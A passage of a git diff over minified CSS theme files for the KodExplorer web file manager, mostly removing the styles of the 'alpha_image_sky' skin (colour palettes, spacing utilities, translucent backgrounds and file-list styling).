.frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/8.jpg');background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} \ No newline at end of file diff --git a/static/style/skin/alpha_image_sky.css b/static/style/skin/alpha_image_sky.css index 2005c83..b31cf7c 100755 --- a/static/style/skin/alpha_image_sky.css +++ b/static/style/skin/alpha_image_sky.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368390.2268] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);background:#2d2d2d url('./../../images/wall_page/10.jpg');background-size:cover;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px 